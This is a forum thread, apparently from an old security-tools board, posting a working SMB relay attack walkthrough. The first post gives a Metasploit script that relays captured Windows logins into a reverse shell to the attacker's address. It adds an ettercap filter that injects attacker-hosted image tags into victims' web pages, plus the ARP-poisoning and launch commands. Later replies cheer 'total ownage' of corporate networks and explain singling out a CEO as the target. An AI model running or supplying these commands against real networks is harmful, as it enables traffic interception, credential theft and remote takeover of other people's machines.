|
|||||||
| Tutorials & Guides Contributions welcome! Please check the rules & guidelines for posting |
![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
|||
|
update 7:27 PM 2/4/2009: http://www.tarasco.org/security/smbrelay/index.html
videos: # with ettercap http://s5.video.blip.tv/170000300628...console219.flv # Thursday, 20 September 2007 ( not with ettercap ) http://www.learnsecurityonline.com/v...ay-reverse.swf 4:42 PM 4/25/2008: "" I tried it with "Use simple file sharing" (recommended) checked...and the exploit WOULD NOT WORK. "" sadly (sometimes !?!?!?) this is checked by default so I will look into some other things ... you also want to check out the fastrack mass client side has GDI and QT exploits all in one etc ! ( this is part of the fast-track.py you must update it to current ) Firefox be design will not load a 'local share' this including \\SMB\image.jpg shares ( if anybody has a non javascript workaround please let me know FLASH also has the same security or just gets passed to firefox and then borks ) May be possible to use this trick 301 redirect the user to a local\share http://forums.remote-exploit.org/programming/16014-replace-exe-msf-payload.html#post94904 What you need: * ettercap * ms framework3 * victim must have admin privs with no blank password and load an HTTP or HTTPS webpage. * only works for MIM ( LAN etc .. ) ** based on HD moore's presentation at Defcon that used WPAD http://video.google.co.uk/videoplay?...56903673801959 'Tactical Exploitation' change the IP to your IP smb.rc Code:
use exploit/windows/smb/smb_relay set PAYLOAD windows/shell_reverse_tcp set LHOST 192.168.1.90 set LPORT 21 exploit smb.filter Code:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", "<img src=\"\\\\192.168.1.90\\image.jpg\"> </body>" ");
replace("</Body>", "<img src=\"\\\\192.168.1.90\\image.jpg\"> </body>" ");
msg("Filter Ran.\n");
}
etterfilter smb.filter -o smb.ef # run ettercap on target ettercap -T -q -F smb.ef -M ARP // // -P autoadd # start up msfconsole with the RC script /pentest/exploits/framework3/msfconsole -r smb.rc what happends ?? ettercap replaces IMG with \\yourip so then the victim trys to access your SMB_RELAY server for the IMG then attacker say NO access denied ! victim says OK let me try my login by default ""Great job, but I got the well-known error message, which starts so: "FAILED! The remote host has only provided us with Guest privileges....""" read the error before that error the guest error just means the auth failed Quote:
Last edited by operat0r; 02-04-2009 at 06:11 PM. |
|
||||
|
Nice little audit, I wrote a tut similar to this last October check it out.
http://forum.remote-exploit.org/show...?t=9121&page=2
__________________
yada yada
|
|
|||
|
Can you clarify how this will affect a corporate network?
total ownage if they have admin rights ( why ? because nobody has a blank password in a corp LAN ) Will all clients be routed through my client by default or can you limit it to those that type in your IP address in the web browser? you need to read how MIM works and also read up on ettercap how it works etc simply just make a target list insted of // // use the target IP /victomloser_CEO/ // |
|
|||
|
Quote:
http://rmccurdy.com/scripts/videos/q...3%20msfweb.swf |
![]() |
| Bookmarks |
| Thread Tools | |
| Display Modes | |
|
|